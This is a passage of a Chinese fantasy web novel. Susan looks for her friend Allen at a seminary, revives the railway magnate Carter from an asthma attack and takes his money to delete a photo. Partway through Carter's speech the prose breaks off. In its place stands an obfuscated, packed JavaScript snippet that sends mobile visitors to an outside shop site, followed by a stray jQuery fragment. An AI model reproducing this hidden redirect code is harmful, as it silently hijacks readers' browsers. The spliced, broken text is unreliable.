接下来的一个多星期,威廉都没有在苏珊面前出现。倒不是说他完全没有回公寓。譬如,苏珊每天顺手多准备的那份早餐竟然都会被好好吃掉,取而代之的是一束每天各不相同的鲜花,作为答谢礼物。苏珊第一天还很惊讶于威廉过分夸张的仪式感,她并不觉得自己的简陋早餐值得上这样一束精美的花。但很快地,那些香气四溢,色泽搭配淡雅和谐的新鲜花卉开始占据了家里所有的花瓶,苏珊也逐渐为此感到压力。
阿尔文周六出差回来的那天,因为那些多出来的鲜花,特地打电话给古董店的老板多订了几只漂亮花瓶,她觉得威廉的这个行为很有意思,“就好像看不见的地缚灵一样,威尔只不过是悲惨地在用每天消失的早餐和这些鲜花暗示他在这间公寓里薄弱的存在感。”
苏珊看着餐桌上如瀑布般垂下的一大捧蝴蝶兰,并不认为“薄弱的存在感”这几个字,和威廉有什么关系。
而在公寓之外,威廉近来的存在感也无处不在。作为坎萨尔公爵,威廉并没有回归翘首以盼的米斯特上流社交圈,却每隔几天都会去兰克斯塔市政厅的会议室“坐上一会儿”,以监督《劳动法案》如火如荼地修订;而作为夜魔,他过去短短的一星期竟然已经在帝国范围内祛除了好几只A级恶魔,甚至先前在北部战场吞噬第七使徒的事情,也已经在教团内部公开。
“威尔最近很活跃,”周日早上,阿尔文边坐在阳台上阅读过去一周堆积的教团内部通报,边喝着她自己冲泡的鸵鸟蛋咸咖啡,“看起来他已经和教皇阁下达成协议了。”
“什么协议?”苏珊在一旁好奇地问。
“不清楚,”阿尔文说:“但第一使徒想要脱离教团,总得付出些代价。”
苏珊愣了愣,意外又担忧地问她,“威廉真的打算脱离教皇阁下吗?”看来近来事务所内疯传的话是真的,威廉在教团总部和其他使徒发生龃龉,甚至对第八使徒玻利瓦尔亲王动手……
“不用太担心,”阿尔文耸一下肩,安抚苏珊道:“威尔毕竟是夜魔,他自己的事情,我想他自己心里会有数。”
苏珊认同阿尔文的说法,强大如威廉,在她看来,那些使徒全加起来也未必是他的对手……但是,这其中的变化终究还是使苏珊感到不安,倒不是说,她到现在还没能接受威廉回到兰克斯塔。即便已经不再像小时候那样亲近,威廉毕竟是威廉,何况,他也忙碌得暂时根本影响不到苏珊的生活……苏珊不明白的是,威廉为什么要脱离教皇阁下,那原本明明是他最崇拜和爱慕的人……
阿尔文继续翻着手头的事务所报告,这会儿突然问苏珊,“过去一周有发生什么特别的事情吗?”
“……没有。”苏珊确定地摇摇头,虽然面上不显,心里却一直打鼓。
奥瓦尔执事按照约定,帮她修改了事务所内的报告,只要阿尔文不到更上级的罗宾市教区调查,她就不会发现,苏珊上回和穆一起处理的莎萨是B级恶魔,也不会知道,过去一周,她已经协助教团里的其他同事,处理了两起D级恶魔事件;除此之外,她还每天都匀出两小时时间,阅读学习事务所里的恶魔处理卷宗,累积相关资料经验……她已经决定了要参加两个月以后的驱魔人升级考试……倒不是说,苏珊依然对米斯特有什么向往,她只是,不想要在类似转机出现的时候,依然呆在岸边捱延消磨着无法动弹……她也不想再经历直愣愣站着被人救的情景了。
当下,为了避免阿尔文发现异常,苏珊看一眼手表,起身说:“时间不早,我得,得快些出门了!”
因为艾伦从广场暴乱那边以后,早晨就再也没来卖过报纸,苏珊有些担心他,于是决定去探望一下他。
阿尔文只是“嗯”一声,并没有抬头看她。于是苏珊,边快速往外走着,边稍稍松了口气。她得先做好心理建设,在合适的时机,才告诉阿尔文关于考试的这件事情。
苏珊并不知道艾伦的家住在哪里,除了他在神学院上学,和他的父亲是前工会会长约翰·桑德拉以外,苏珊对他的事情几乎可以说是一无所知。于是她离开家以后,决定先去一趟神学院,找学校里的神父问一问。
神学院在兰克斯塔东区,靠近蓝鸽子广场就能看见它金色的十字塔尖,它有着两百多年的历史,是兰克斯塔最古老的建筑之一。
周末按照苏珊的认知,神学院应该同样也在放假,但苏珊过去的时候,却看见学校大门敞开着,一辆在兰克斯塔还不多见的汽车很显眼地停在回行广场的中央,苏珊问了门房先生,得知下午有学院的资助人在礼堂发表演讲,并为四年级奖学金的获得学生颁奖。
苏珊眼睛一下子亮起来,她记得艾伦刚好是四年级,如果运气好的话,她可以直接在这里找到他。
等到了礼堂,苏珊发现演讲还在进行,她于是猫了腰偷偷地潜进去,坐在倒数的空长椅上。
神学院四年级的学生只有不到五十个,应该全在这里,于是当下,她一面扫望着前面的孩子们,意图找到艾伦,一面空出耳朵来听布道台上的演讲。
“……总的来说,我所有的成功都离不开因为上帝的保佑……呵——如果这么说,就有些太无聊了。我的成功,孩子们,我的成功!实际上是因为我有看出兰克斯塔发展前景的远见,我有孤注一掷,把所有财产抵押在这项事业上的决心……”
苏珊听了一会儿,略微皱起眉头看布道台上,一位留着大胡子,皮肤白得近乎透明的绅士,正抬着食指傲慢地发表讲话:“我还有许多吃饱了饭就不肯再干活,反而贪想着东家钱袋的猪猡,如果上帝真的在保佑我……那他实在该送这些人下地狱,而不是为他们带来……”他激动地说着,却突然又住了口,干巴巴地说道:“当然,这只是个玩笑……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562382|142770||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
台下并没有一个学生因为他的玩笑笑出声来,他们都只是正襟危坐着,脸上的表情并不怎么好看。
苏珊认得台上这个人,他是爱德华·卡特尔,卡特尔铁路公司的董事长,她曾经在报纸上看见过他压榨员工,致人死亡的新闻。
看来威廉正在推进的劳动法案,的确让这些资本家暴跳如雷了……
艾伦并不在这儿,苏珊确认过一遍后原本的担忧更加深一些。她目光又锁定了布道台上的神父,决定等演讲结束以后去问问他……
然而就在此时,卡特尔先生突然停止了说话,苏珊转回眼,看见他抓着自己的胸口,赤红着脸大口地喘息。然后,他踉跄着往前走了两步,摔倒在地上。礼堂因此爆发了一些桌椅移动的骚乱和惊呼,学生们陆续惊慌地站起来,但都手足无措。
苏珊见状,以最快地速度奔到布道台上,将正全身痉挛着的卡特尔先生扶坐起来,一把扯开了他胸前的领结衬衫,手指按压他胸骨上窝的凹陷处,并低声对周围聚集过来的学生说:“让开,他需要新鲜空气。”
她虽然长了张可爱的圆脸,神色冷峻时却也很有威慑力,学生们果然手忙脚乱地往后退开。苏珊再按压两下,原本瞪着眼睛咬紧牙关的卡特尔先生终于猛吸一口气,呛咳着恢复了呼吸。
“是哮喘发作。”苏珊对一旁吓坏了的众人说。
之后,卡特尔先生精疲力竭,要求他的贴身男仆尽快打电话通知他的家庭医生到来。他的脸色还很苍白,目光在苏珊身上流连了一会儿,向她表达了感谢,并问她是谁?
苏珊掏出相机,在卡特尔先生反应过来以前,冲着他那狼狈虚弱的样子按下了快门。
“我是《眼福周报》的记者尼尔,”苏珊从相机后面探出脑袋来说:“是特地来采访您的。”
她的这一行为果然引起了卡特尔先生的反感,他皱起眉来,呼吸再次加快,却尽量克制着,将颤抖的手伸进西装内袋,从中拿出了五张一百克朗的纸币递给苏珊:“看在您救我的份上,这些钱给您……请把刚才的照片删掉吧。”
“多谢,”苏珊手指夹住那些钱收起来,露了兔齿,狡黠地一笑,“您真是位慷慨的先生!”
虽然卡特尔先生刚才的确是因为哮喘发作倒下,但苏珊出于一种莫名的直觉,刚才拍照的时候顺便打开魔眼确定了一下他倒下前的记忆,并没有什么异常,他之所以突然喘不过气,是因为闻到了一股剧烈的臭味。苏珊同样闻到了,但她理智上不觉得那个味道有什么特别,有钱人有时候就是会有这种那种奇怪的毛病,不足为奇。
之后,苏珊向神父询问了艾伦的下落。
“艾伦·桑德拉?”神父在听到这个名字的瞬间眉头皱蹙起来,露出深深的,怜悯的表情,“他的父亲在上周五去世了,他也已经有一个多星期没来学校。”